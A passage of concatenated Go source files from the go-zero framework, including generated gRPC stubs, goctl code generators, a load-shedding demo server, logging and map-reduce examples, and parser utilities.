/app/{{.ExeFile}} /app/{{.ExeFile}} COPY --from=builder /app/etc /app/etc CMD ["./{{.ExeFile}}"{{.Argument}}] ` ) func GenTemplates(_ *cli.Context) error { return util.InitTemplates(category, map[string]string{ dockerTemplateFile: dockerTemplate, }) } ``` graceful.pb.go ```// Code generated by protoc-gen-go. // source: graceful.proto // DO NOT EDIT! /* Package graceful is a generated protocol buffer package. It is generated from these files: graceful.proto It has these top-level messages: Request Response */ package graceful import ( "fmt" "math" "github.com/golang/protobuf/proto" "golang.org/x/net/context" "google.golang.org/grpc" ) // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package type Request struct { From string `protobuf:"bytes,1,opt,name=from" json:"from,omitempty"` } func (m *Request) Reset() { *m = Request{} } func (m *Request) String() string { return proto.CompactTextString(m) } func (*Request) ProtoMessage() {} func (*Request) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{0} } func (m *Request) GetFrom() string { if m != nil { return m.From } return "" } type Response struct { Host string `protobuf:"bytes,2,opt,name=host" json:"host,omitempty"` } func (m *Response) Reset() { *m = Response{} } func (m *Response) String() string { return proto.CompactTextString(m) } func (*Response) ProtoMessage() {} func (*Response) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{1} } func (m *Response) GetHost() string { if m != nil { return m.Host } return "" } func init() { proto.RegisterType((*Request)(nil), "graceful.Request") proto.RegisterType((*Response)(nil), "graceful.Response") } // Reference imports to suppress errors if they are not otherwise used. var _ context.Context var _ grpc.ClientConn // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. const _ = grpc.SupportPackageIsVersion4 // Client API for GraceService service type GraceServiceClient interface { Grace(ctx context.Context, in *Request, opts ...grpc.CallOption) (*Response, error) } type graceServiceClient struct { cc *grpc.ClientConn } func NewGraceServiceClient(cc *grpc.ClientConn) GraceServiceClient { return &graceServiceClient{cc} } func (c *graceServiceClient) Grace(ctx context.Context, in *Request, opts ...grpc.CallOption) (*Response, error) { out := new(Response) err := grpc.Invoke(ctx, "/graceful.GraceService/grace", in, out, c.cc, opts...) if err != nil { return nil, err } return out, nil } // Server API for GraceService service type GraceServiceServer interface { Grace(context.Context, *Request) (*Response, error) } func RegisterGraceServiceServer(s *grpc.Server, srv GraceServiceServer) { s.RegisterService(&_GraceService_serviceDesc, srv) } func _GraceService_Grace_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(Request) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(GraceServiceServer).Grace(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/graceful.GraceService/Grace", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(GraceServiceServer).Grace(ctx, req.(*Request)) } return interceptor(ctx, in, info, handler) } var _GraceService_serviceDesc = grpc.ServiceDesc{ ServiceName: "graceful.GraceService", HandlerType: (*GraceServiceServer)(nil), Methods: []grpc.MethodDesc{ { MethodName: "grace", Handler: _GraceService_Grace_Handler, }, }, Streams: []grpc.StreamDesc{}, Metadata: "graceful.proto", } func init() { proto.RegisterFile("graceful.proto", fileDescriptor0) } var fileDescriptor0 = []byte{ // 134 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x09, 0x6e, 0x88, 0x02, 0xff, 0xe2, 0xe2, 0x4b, 0x2f, 0x4a, 0x4c, 0x4e, 0x4d, 0x2b, 0xcd, 0xd1, 0x2b, 0x28, 0xca, 0x2f, 0xc9, 0x17, 0xe2, 0x80, 0xf1, 0x95, 0x64, 0xb9, 0xd8, 0x83, 0x52, 0x0b, 0x4b, 0x53, 0x8b, 0x4b, 0x84, 0x84, 0xb8, 0x58, 0xd2, 0x8a, 0xf2, 0x73, 0x25, 0x18, 0x15, 0x18, 0x35, 0x38, 0x83, 0xc0, 0x6c, 0x25, 0x39, 0x2e, 0x8e, 0xa0, 0xd4, 0xe2, 0x82, 0xfc, 0xbc, 0xe2, 0x54, 0x90, 0x7c, 0x46, 0x7e, 0x71, 0x89, 0x04, 0x13, 0x44, 0x1e, 0xc4, 0x36, 0xb2, 0xe3, 0xe2, 0x71, 0x07, 0x19, 0x15, 0x9c, 0x5a, 0x54, 0x96, 0x99, 0x9c, 0x2a, 0xa4, 0xc7, 0xc5, 0x0a, 0x36, 0x5a, 0x48, 0x50, 0x0f, 0x6e, 0x25, 0xd4, 0x7c, 0x29, 0x21, 0x64, 0x21, 0x88, 0x99, 0x49, 0x6c, 0x60, 0xf7, 0x18, 0x03, 0x02, 0x00, 0x00, 0xff, 0xff, 0x81, 0x87, 0xc8, 0xc1, 0xa1, 0x00, 0x00, 0x00, } ``` transformerserver.go ```// Code generated by goctl. DO NOT EDIT! // Source: transform.proto package server import ( "context" "shorturl/rpc/transform/internal/logic" "shorturl/rpc/transform/internal/svc" transform "shorturl/rpc/transform/pb" ) type TransformerServer struct { svcCtx *svc.ServiceContext } func NewTransformerServer(svcCtx *svc.ServiceContext) *TransformerServer { return &TransformerServer{ svcCtx: svcCtx, } } func (s *TransformerServer) Expand(ctx context.Context, in *transform.ExpandReq) (*transform.ExpandResp, error) { l := logic.NewExpandLogic(ctx, s.svcCtx) return l.Expand(in) } func (s *TransformerServer) Shorten(ctx context.Context, in *transform.ShortenReq) (*transform.ShortenResp, error) { l := logic.NewShortenLogic(ctx, s.svcCtx) return l.Shorten(in) } ``` logging.go ```package main import ( "time" "github.com/tal-tech/go-zero/core/logx" ) func foo() { logx.WithDuration(time.Second).Error("world") } func main() { c := logx.LogConf{ Mode: "console", Path: "logs", } logx.MustSetup(c) defer logx.Close() logx.Info("info") logx.Error("error") logx.ErrorStack("hello") logx.Errorf("%s and %s", "hello", "world") logx.Severef("%s severe %s", "hello", "world") logx.Slowf("%s slow %s", "hello", "world") logx.Statf("%s stat %s", "hello", "world") logx.WithDuration(time.Minute + time.Second).Info("hello") logx.WithDuration(time.Minute + time.Second).Error("hello") foo() } ``` listener.go ```package internal type Listener interface { OnUpdate(keys []string, values []string, newKey string) } ``` main.go ```package main import ( "log" "strconv" "github.com/tal-tech/go-zero/core/mr" ) type User struct { Uid int Name string } func main() { uids := []int{111, 222, 333} res, err := mr.MapReduce(func(source chan<- interface{}) { for _, uid := range uids { source <- uid } }, func(item interface{}, writer mr.Writer, cancel func(error)) { uid := item.(int) user := &User{ Uid: uid, Name: strconv.Itoa(uid), } writer.Write(user) }, func(pipe <-chan interface{}, writer mr.Writer, cancel func(error)) { // missing writer.Write(...), should not panic }) if err != nil { log.Print(err) return } log.Print(len(res.([]*User))) } ``` basestate_test.go ```package parser import ( "bufio" "bytes" "testing" "github.com/stretchr/testify/assert" ) func TestProperties(t *testing.T) { const text = `(summary: hello world)` var builder bytes.Buffer builder.WriteString(text) var lineNumber = 1 var state = newBaseState(bufio.NewReader(&builder), &lineNumber) m, err := state.parseProperties() assert.Nil(t, err) assert.Equal(t, "hello world", m["summary"]) } ``` routes.go ```// Code generated by goctl. DO NOT EDIT. package handler import ( "net/http" "github.com/tal-tech/go-zero/example/graceful/etcd/api/svc" "github.com/tal-tech/go-zero/rest" ) func RegisterHandlers(engine *rest.Server, ctx *svc.ServiceContext) { engine.AddRoutes([]rest.Route{ { Method: http.MethodGet, Path: "/api/graceful", Handler: gracefulHandler(ctx), }, }) } ``` greet.pb.go ```// Code generated by protoc-gen-go. // source: greet.proto // DO NOT EDIT! /* Package stream is a generated protocol buffer package. It is generated from these files: greet.proto It has these top-level messages: StreamReq StreamResp */ package stream import ( "fmt" "math" "github.com/golang/protobuf/proto" "golang.org/x/net/context" "google.golang.org/grpc" ) // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package type StreamReq struct { Name string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` } func (m *StreamReq) Reset() { *m = StreamReq{} } func (m *StreamReq) String() string { return proto.CompactTextString(m) } func (*StreamReq) ProtoMessage() {} func (*StreamReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{0} } func (m *StreamReq) GetName() string { if m != nil { return m.Name } return "" } type StreamResp struct { Greet string `protobuf:"bytes,1,opt,name=greet" json:"greet,omitempty"` } func (m *StreamResp) Reset() { *m = StreamResp{} } func (m *StreamResp) String() string { return proto.CompactTextString(m) } func (*StreamResp) ProtoMessage() {} func (*StreamResp) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{1} } func (m *StreamResp) GetGreet() string { if m != nil { return m.Greet } return "" } func init() { proto.RegisterType((*StreamReq)(nil), "stream.StreamReq") proto.RegisterType((*StreamResp)(nil), "stream.StreamResp") } // Reference imports to suppress errors if they are not otherwise used. var _ context.Context var _ grpc.ClientConn // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. const _ = grpc.SupportPackageIsVersion4 // Client API for StreamGreeter service type StreamGreeterClient interface { Greet(ctx context.Context, opts ...grpc.CallOption) (StreamGreeter_GreetClient, error) } type streamGreeterClient struct { cc *grpc.ClientConn } func NewStreamGreeterClient(cc *grpc.ClientConn) StreamGreeterClient { return &streamGreeterClient{cc} } func (c *streamGreeterClient) Greet(ctx context.Context, opts ...grpc.CallOption) (StreamGreeter_GreetClient, error) { stream, err := grpc.NewClientStream(ctx, &_StreamGreeter_serviceDesc.Streams[0], c.cc, "/stream.StreamGreeter/greet", opts...) if err != nil { return nil, err } x := &streamGreeterGreetClient{stream} return x, nil } type StreamGreeter_GreetClient interface { Send(*StreamReq) error Recv() (*StreamResp, error) grpc.ClientStream } type streamGreeterGreetClient struct { grpc.ClientStream } func (x *streamGreeterGreetClient) Send(m *StreamReq) error { return x.ClientStream.SendMsg(m) } func (x *streamGreeterGreetClient) Recv() (*StreamResp, error) { m := new(StreamResp) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } // Server API for StreamGreeter service type StreamGreeterServer interface { Greet(StreamGreeter_GreetServer) error } func RegisterStreamGreeterServer(s *grpc.Server, srv StreamGreeterServer) { s.RegisterService(&_StreamGreeter_serviceDesc, srv) } func _StreamGreeter_Greet_Handler(srv interface{}, stream grpc.ServerStream) error { return srv.(StreamGreeterServer).Greet(&streamGreeterGreetServer{stream}) } type StreamGreeter_GreetServer interface { Send(*StreamResp) error Recv() (*StreamReq, error) grpc.ServerStream } type streamGreeterGreetServer struct { grpc.ServerStream } func (x *streamGreeterGreetServer) Send(m *StreamResp) error { return x.ServerStream.SendMsg(m) } func (x *streamGreeterGreetServer) Recv() (*StreamReq, error) { m := new(StreamReq) if err := x.ServerStream.RecvMsg(m); err != nil { return nil, err } return m, nil } var _StreamGreeter_serviceDesc = grpc.ServiceDesc{ ServiceName: "stream.StreamGreeter", HandlerType: (*StreamGreeterServer)(nil), Methods: []grpc.MethodDesc{}, Streams: []grpc.StreamDesc{ { StreamName: "greet", Handler: _StreamGreeter_Greet_Handler, ServerStreams: true, ClientStreams: true, }, }, Metadata: "greet.proto", } func init() { proto.RegisterFile("greet.proto", fileDescriptor0) } var fileDescriptor0 = []byte{ // 128 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x09, 0x6e, 0x88, 0x02, 0xff, 0xe2, 0xe2, 0x4e, 0x2f, 0x4a, 0x4d, 0x2d, 0xd1, 0x2b, 0x28, 0xca, 0x2f, 0xc9, 0x17, 0x62, 0x2b, 0x2e, 0x29, 0x4a, 0x4d, 0xcc, 0x55, 0x92, 0xe7, 0xe2, 0x0c, 0x06, 0xb3, 0x82, 0x52, 0x0b, 0x85, 0x84, 0xb8, 0x58, 0xf2, 0x12, 0x73, 0x53, 0x25, 0x18, 0x15, 0x18, 0x35, 0x38, 0x83, 0xc0, 0x6c, 0x25, 0x25, 0x2e, 0x2e, 0x98, 0x82, 0xe2, 0x02, 0x21, 0x11, 0x2e, 0x56, 0xb0, 0x29, 0x50, 0x25, 0x10, 0x8e, 0x91, 0x33, 0x17, 0x2f, 0x44, 0x8d, 0x3b, 0x88, 0x9b, 0x5a, 0x24, 0x64, 0x04, 0x55, 0x26, 0x24, 0xa8, 0x07, 0xb1, 0x47, 0x0f, 0x6e, 0x89, 0x94, 0x10, 0xba, 0x50, 0x71, 0x81, 0x06, 0xa3, 0x01, 0x63, 0x12, 0x1b, 0xd8, 0x61, 0xc6, 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xbc, 0x34, 0x15, 0xe8, 0xa7, 0x00, 0x00, 0x00, } ``` finishvoid.go ```package main import ( "fmt" "time" "github.com/tal-tech/go-zero/core/mr" "github.com/tal-tech/go-zero/core/timex" ) func main() { start := timex.Now() mr.FinishVoid(func() { time.Sleep(time.Second) }, func() { time.Sleep(time.Second * 5) }, func() { time.Sleep(time.Second * 10) }, func() { time.Sleep(time.Second * 6) }, func() { if err := mr.Finish(func() error { time.Sleep(time.Second) return nil }, func() error { time.Sleep(time.Second * 10) return nil }); err != nil { fmt.Println(err) } }) fmt.Println(timex.Since(start)) } ``` main.go ```package main import ( "time" "github.com/tal-tech/go-zero/core/conf" "github.com/tal-tech/go-zero/core/logx" ) type TimeHolder struct { Date time.Time `json:"date"` } func main() { th := &TimeHolder{} err := conf.LoadConfig("./date.yml", th) if err != nil { logx.Error(err) } logx.Infof("%+v", th) } ``` server.go ```package main import ( "fmt" "net/http" "runtime" "time" "github.com/tal-tech/go-zero/core/fx" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/service" "github.com/tal-tech/go-zero/core/stat" "github.com/tal-tech/go-zero/rest" ) const duration = time.Millisecond func main() { go func() { ticker := time.NewTicker(time.Second) defer ticker.Stop() for range ticker.C { fmt.Printf("cpu: %d\n", stat.CpuUsage()) } }() logx.Disable() engine := rest.MustNewServer(rest.RestConf{ ServiceConf: service.ServiceConf{ Log: logx.LogConf{ Mode: "console", }, }, Host: "0.0.0.0", Port: 3333, CpuThreshold: 800, }) defer engine.Stop() engine.AddRoute(rest.Route{ Method: http.MethodGet, Path: "/", Handler: func(w http.ResponseWriter, r *http.Request) { if err := fx.DoWithTimeout(func() error { job(duration) return nil }, time.Millisecond*100); err != nil { w.WriteHeader(http.StatusServiceUnavailable) } }, }) engine.Start() } func job(duration time.Duration) { done := make(chan int) for i := 0; i < runtime.NumCPU(); i++ { go func() { for { select { case <-done: return default: } } }() } time.Sleep(duration) close(done) } ``` types.go ```// Code generated by goctl. DO NOT EDIT! // Source: transform.proto package transformer import "errors" var errJsonConvert = errors.New("json convert error") type ( ExpandReq struct { Shorten string `json:"shorten,omitempty"` } ExpandResp struct { Url string `json:"url,omitempty"` } ShortenReq struct { Url string `json:"url,omitempty"` } ShortenResp struct { Shorten string `json:"shorten,omitempty"` } ) ``` propagator.go ```package trace import ( "net/http" "google.golang.org/grpc/metadata" ) const ( HttpFormat = iota GrpcFormat ) var ( emptyHttpPropagator httpPropagator emptyGrpcPropagator grpcPropagator ) type ( Propagator interface { Extract(carrier interface{}) (Carrier, error) Inject(carrier interface{}) (Carrier, error) } httpPropagator struct{} grpcPropagator struct{} ) func (h httpPropagator) Extract(carrier interface{}) (Carrier, error) { if c, ok := carrier.(http.Header); !ok { return nil, ErrInvalidCarrier } else { return httpCarrier(c), nil } } func (h httpPropagator) Inject(carrier interface{}) (Carrier, error) { if c, ok := carrier.(http.Header); ok { return httpCarrier(c), nil } else { return nil, ErrInvalidCarrier } } func (g grpcPropagator) Extract(carrier interface{}) (Carrier, error) { if c, ok := carrier.(metadata.MD); ok { return grpcCarrier(c), nil } else { return nil, ErrInvalidCarrier } } func (g grpcPropagator) Inject(carrier interface{}) (Carrier, error) { if c, ok := carrier.(metadata.MD); ok { return grpcCarrier(c), nil } else { return nil, ErrInvalidCarrier } } func Extract(format, carrier interface{}) (Carrier, error) { switch v := format.(type) { case int: if v == HttpFormat { return emptyHttpPropagator.Extract(carrier) } else if v == GrpcFormat { return emptyGrpcPropagator.Extract(carrier) } } return nil, ErrInvalidCarrier } func Inject(format, carrier interface{}) (Carrier, error) { switch v := format.(type) { case int: if v == HttpFormat { return emptyHttpPropagator.Inject(carrier) } else if v == GrpcFormat { return emptyGrpcPropagator.Inject(carrier) } } return nil, ErrInvalidCarrier } ``` namer.go ```package naming type Namer interface { Name() string } ``` error.go ```package parser import ( "errors" ) var ( unSupportDDL = errors.New("unexpected type") tableBodyIsNotFound = errors.New("create table spec not found") errPrimaryKey = errors.New("unexpected join primary key") ) ``` delayexecutor.go ```package executors import ( "sync" "time" "github.com/tal-tech/go-zero/core/threading" ) type DelayExecutor struct { fn func() delay time.Duration triggered bool lock sync.Mutex } func NewDelayExecutor(fn func(), delay time.Duration) *DelayExecutor { return &DelayExecutor{ fn: fn, delay: delay, } } func (de *DelayExecutor) Trigger() { de.lock.Lock() defer de.lock.Unlock() if de.triggered { return } de.triggered = true threading.GoSafe(func() { timer := time.NewTimer(de.delay) defer timer.Stop() <-timer.C // set triggered to false before calling fn to ensure no triggers are missed. de.lock.Lock() de.triggered = false de.lock.Unlock() de.fn() }) } ``` servicestate.go ```package parser import ( "bufio" "bytes" "fmt" "io" "strings" "github.com/tal-tech/go-zero/core/stringx" "github.com/tal-tech/go-zero/tools/goctl/api/spec" ) type serviceState struct { *baseState annos []spec.Annotation } func newServiceState(state *baseState, annos []spec.Annotation) state { return &serviceState{ baseState: state, annos: annos, } } func (s *serviceState) process(api *spec.ApiSpec) (state, error) { var name string var routes []spec.Route parser := &serviceEntityParser{ acceptName: func(n string) { name = n }, acceptRoute: func(route spec.Route) { routes = append(routes, route) }, } ent := newEntity(s.baseState, api, parser) if err := ent.process(); err != nil { return nil, err } api.Service = spec.Service{ Name: name, Groups: append(api.Service.Groups, spec.Group{ Annotations: s.annos, Routes: routes, }), } return newRootState(s.r, s.lineNumber), nil } type serviceEntityParser struct { acceptName func(name string) acceptRoute func(route spec.Route) } func (p *serviceEntityParser) parseLine(line string, api *spec.ApiSpec, annos []spec.Annotation) error { var defaultErr = fmt.Errorf("wrong line %q, %q", line, routeSyntax) line = strings.TrimSpace(line) var buffer = new(bytes.Buffer) buffer.WriteString(line) reader := bufio.NewReader(buffer) var builder strings.Builder var fields = make([]string, 0) for { ch, _, err := reader.ReadRune() if err != nil { if err == io.EOF { if builder.Len() > 0 { token := strings.TrimSpace(builder.String()) if len(token) > 0 && token != returnsTag { fields = append(fields, token) } } break } return err } switch { case isSpace(ch), ch == leftParenthesis, ch == rightParenthesis, ch == semicolon: if builder.Len() == 0 { continue } token := builder.String() builder.Reset() fields = append(fields, token) default: builder.WriteRune(ch) } } if len(fields) < 2 { return defaultErr } method := fields[0] path := fields[1] var req string var resp string if len(fields) > 2 { req = fields[2] } if stringx.Contains(fields, returnsTag) { if fields[len(fields)-1] != returnsTag { resp = fields[len(fields)-1] } else { return defaultErr } if fields[2] == returnsTag { req = "" } } p.acceptRoute(spec.Route{ Annotations: annos, Method: method, Path: path, RequestType: GetType(api, req), ResponseType: GetType(api, resp), }) return nil } func (p *serviceEntityParser) setEntityName(name string) { p.acceptName(name) } ``` genconfig.go ```package gogen import ( "bytes" "fmt" "strings" "text/template" "github.com/tal-tech/go-zero/tools/goctl/api/spec" "github.com/tal-tech/go-zero/tools/goctl/api/util" "github.com/tal-tech/go-zero/tools/goctl/config" ctlutil "github.com/tal-tech/go-zero/tools/goctl/util" "github.com/tal-tech/go-zero/tools/goctl/util/format" "github.com/tal-tech/go-zero/tools/goctl/vars" ) const ( configFile = "config" configTemplate = `package config import {{.authImport}} type Config struct { rest.RestConf {{.auth}} } ` jwtTemplate = ` struct { AccessSecret string AccessExpire int64 } ` ) func genConfig(dir string, cfg *config.Config, api *spec.ApiSpec) error { filename, err := format.FileNamingFormat(cfg.NamingFormat, configFile) if err != nil { return err } fp, created, err := util.MaybeCreateFile(dir, configDir, filename+".go") if err != nil { return err } if !created { return nil } defer fp.Close() var authNames = getAuths(api) var auths []string for _, item := range authNames { auths = append(auths, fmt.Sprintf("%s %s", item, jwtTemplate)) } var authImportStr = fmt.Sprintf("\"%s/rest\"", vars.ProjectOpenSourceUrl) text, err := ctlutil.LoadTemplate(category, configTemplateFile, configTemplate) if err != nil { return err } t := template.Must(template.New("configTemplate").Parse(text)) buffer := new(bytes.Buffer) err = t.Execute(buffer, map[string]string{ "authImport": authImportStr, "auth": strings.Join(auths, "\n"), }) if err != nil { return err } formatCode := formatCode(buffer.String()) _, err = fp.WriteString(formatCode) return err } ``` rpcpubserver.go ```package internal import "github.com/tal-tech/go-zero/core/discov" func NewRpcPubServer(etcdEndpoints []string, etcdKey, listenOn string, opts ...ServerOption) (Server, error) { registerEtcd := func() error { pubClient := discov.NewPublisher(etcdEndpoints, etcdKey, listenOn) return pubClient.KeepAlive() } server := keepAliveServer{ registerEtcd: registerEtcd, Server: NewRpcServer(listenOn, opts...), } return server, nil } type keepAliveServer struct { registerEtcd func() error Server } func (ags keepAliveServer) Start(fn RegisterFn) error { if err := ags.registerEtcd(); err != nil { return err } return ags.Server.Start(fn) } ``` util.go ```package javagen import ( "bytes" "errors" "fmt" "io" "strings" "text/template" "github.com/tal-tech/go-zero/tools/goctl/api/spec" apiutil "github.com/tal-tech/go-zero/tools/goctl/api/util" "github.com/tal-tech/go-zero/tools/goctl/util" ) const getSetTemplate = ` {{.indent}}{{.decorator}} {{.indent}}public {{.returnType}} get{{.property}}() { {{.indent}} return this.{{.propertyValue}}; {{.indent}}} {{.indent}}public void set{{.property}}({{.type}} {{.propertyValue}}) { {{.indent}} this.{{.propertyValue}} = {{.propertyValue}}; {{.indent}}} ` func writeProperty(writer io.Writer, member spec.Member, indent int) error { writeIndent(writer, indent) ty, err := goTypeToJava(member.Type) ty = strings.Replace(ty, "*", "", 1) if err != nil { return err } name, err := member.GetPropertyName() if err != nil { return err } _, err = fmt.Fprintf(writer, "private %s %s", ty, name) if err != nil { return err } writeDefaultValue(writer, member) fmt.Fprint(writer, ";\n") return err } func writeDefaultValue(writer io.Writer, member spec.Member) error { switch member.Type { case "string": _, err := fmt.Fprintf(writer, " = \"\"") return err } return nil } func writeIndent(writer io.Writer, indent int) { for i := 0; i < indent; i++ { fmt.Fprint(writer, "\t") } } func indentString(indent int) string { var result = "" for i := 0; i < indent; i++ { result += "\t" } return result } func writeBreakline(writer io.Writer) { fmt.Fprint(writer, "\n") } func isPrimitiveType(tp string) bool { switch tp { case "int", "int32", "int64": return true case "float", "float32", "float64": return true case "bool": return true } return false } func goTypeToJava(tp string) (string, error) { if len(tp) == 0 { return "", errors.New("property type empty") } if strings.HasPrefix(tp, "*") { tp = tp[1:] } switch tp { case "string": return "String", nil case "int64": return "long", nil case "int", "int8", "int32": return "int", nil case "float", "float32", "float64": return "double", nil case "bool": return "boolean", nil } if strings.HasPrefix(tp, "[]") { tys, err := apiutil.DecomposeType(tp) if err != nil { return "", err } if len(tys) == 0 { return "", fmt.Errorf("%s tp parse error", tp) } return fmt.Sprintf("java.util.ArrayList<%s>", util.Title(tys[0])), nil } else if strings.HasPrefix(tp, "map") { tys, err := apiutil.DecomposeType(tp) if err != nil { return "", err } if len(tys) == 2 { return "", fmt.Errorf("%s tp parse error", tp) } return fmt.Sprintf("java.util.HashMap<String, %s>", util.Title(tys[1])), nil } return util.Title(tp), nil } func genGetSet(writer io.Writer, tp spec.Type, indent int) error { t := template.Must(template.New("getSetTemplate").Parse(getSetTemplate)) for _, member := range tp.Members { var tmplBytes bytes.Buffer oty, err := goTypeToJava(member.Type) if err != nil { return err } tyString := oty decorator := "" if !isPrimitiveType(member.Type) { if member.IsOptional() { decorator = "@org.jetbrains.annotations.Nullable " } else { decorator = "@org.jetbrains.annotations.NotNull " } tyString = decorator + tyString } err = t.Execute(&tmplBytes, map[string]string{ "property": util.Title(member.Name), "propertyValue": util.Untitle(member.Name), "type": tyString, "decorator": decorator, "returnType": oty, "indent": indentString(indent), }) if err != nil { return err } r := tmplBytes.String() r = strings.Replace(r, " boolean get", " boolean is", 1) writer.Write([]byte(r)) } return nil } ``` greet.pb.go ```// Code generated by protoc-gen-go. // source: greet.proto // DO NOT EDIT! /* Package unary is a generated protocol buffer package. It is generated from these files: greet.proto It has these top-level messages: Request Response */ package unary import ( "fmt" "math" "github.com/golang/protobuf/proto" "golang.org/x/net/context" "google.golang.org/grpc" ) // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package type Request struct { Name string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` } func (m *Request) Reset() { *m = Request{} } func (m *Request) String() string { return proto.CompactTextString(m) } func (*Request) ProtoMessage() {} func (*Request) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{0} } func (m *Request) GetName() string { if m != nil { return m.Name } return "" } type Response struct { Greet string `protobuf:"bytes,1,opt,name=greet" json:"greet,omitempty"` } func (m *Response) Reset() { *m = Response{} } func (m *Response) String() string { return proto.CompactTextString(m) } func (*Response) ProtoMessage() {} func (*Response) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{1} } func (m *Response) GetGreet() string { if m != nil { return m.Greet } return "" } func init() { proto.RegisterType((*Request)(nil), "unary.Request") proto.RegisterType((*Response)(nil), "unary.Response") } // Reference imports to suppress errors if they are not otherwise used. var _ context.Context var _ grpc.ClientConn // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. const _ = grpc.SupportPackageIsVersion4 // Client API for Greeter service type GreeterClient interface { Greet(ctx context.Context, in *Request, opts ...grpc.CallOption) (*Response, error) } type greeterClient struct { cc *grpc.ClientConn } func NewGreeterClient(cc *grpc.ClientConn) GreeterClient { return &greeterClient{cc} } func (c *greeterClient) Greet(ctx context.Context, in *Request, opts ...grpc.CallOption) (*Response, error) { out := new(Response) err := grpc.Invoke(ctx, "/unary.Greeter/greet", in, out, c.cc, opts...) if err != nil { return nil, err } return out, nil } // Server API for Greeter service type GreeterServer interface { Greet(context.Context, *Request) (*Response, error) } func RegisterGreeterServer(s *grpc.Server, srv GreeterServer) { s.RegisterService(&_Greeter_serviceDesc, srv) } func _Greeter_Greet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(Request) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(GreeterServer).Greet(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/unary.Greeter/Greet", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(GreeterServer).Greet(ctx, req.(*Request)) } return interceptor(ctx, in, info, handler) } var _Greeter_serviceDesc = grpc.ServiceDesc{ ServiceName: "unary.Greeter", HandlerType: (*GreeterServer)(nil), Methods: []grpc.MethodDesc{ { MethodName: "greet", Handler: _Greeter_Greet_Handler, }, }, Streams: []grpc.StreamDesc{}, Metadata: "greet.proto", } func init() { proto.RegisterFile("greet.proto", fileDescriptor0) } var fileDescriptor0 = []byte{ // 126 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x09, 0x6e, 0x88, 0x02, 0xff, 0xe2, 0xe2, 0x4e, 0x2f, 0x4a, 0x4d, 0x2d, 0xd1, 0x2b, 0x28, 0xca, 0x2f, 0xc9, 0x17, 0x62, 0x2d, 0xcd, 0x4b, 0x2c, 0xaa, 0x54, 0x92, 0xe5, 0x62, 0x0f, 0x4a, 0x2d, 0x2c, 0x4d, 0x2d, 0x2e, 0x11, 0x12, 0xe2, 0x62, 0xc9, 0x4b, 0xcc, 0x4d, 0x95, 0x60, 0x54, 0x60, 0xd4, 0xe0, 0x0c, 0x02, 0xb3, 0x95, 0x14, 0xb8, 0x38, 0x82, 0x52, 0x8b, 0x0b, 0xf2, 0xf3, 0x8a, 0x53, 0x85, 0x44, 0xb8, 0x58, 0xc1, 0x06, 0x40, 0x15, 0x40, 0x38, 0x46, 0xc6, 0x5c, 0xec, 0xee, 0x20, 0x46, 0x6a, 0x91, 0x90, 0x06, 0x54, 0x81, 0x10, 0x9f, 0x1e, 0xd8, 0x70, 0x3d, 0xa8, 0xc9, 0x52, 0xfc, 0x70, 0x3e, 0xc4, 0xa8, 0x24, 0x36, 0xb0, 0x1b, 0x8c, 0x01, 0x01, 0x00, 0x00, 0xff, 0xff, 0xb8, 0x6d, 0x30, 0xb0, 0x92, 0x00, 0x00, 0x00, } ``` messagequeue.go ```package queue type MessageQueue interface { Start() Stop() } ``` field.go ```package template var Field = `{{.name}} {{.type}} {{.tag}} {{if .hasComment}}// {{.comment}}{{end}}` ``` pool.go ```package main import ( "bufio" "fmt" "os" "sync" "sync/atomic" "time" "github.com/tal-tech/go-zero/core/lang" "github.com/tal-tech/go-zero/core/syncx" ) func main() { var count int32 var consumed int32 pool := syncx.NewPool(80, func() interface{} { fmt.Printf("+ %d\n", atomic.AddInt32(&count, 1)) return 1 }, func(interface{}) { fmt.Printf("- %d\n", atomic.AddInt32(&count, -1)) }, syncx.WithMaxAge(time.Second)) var waitGroup sync.WaitGroup quit := make(chan lang.PlaceholderType) waitGroup.Add(100) for i := 0; i < 100; i++ { go func() { defer func() { waitGroup.Done() fmt.Println("routine quit") }() for { select { case <-quit: 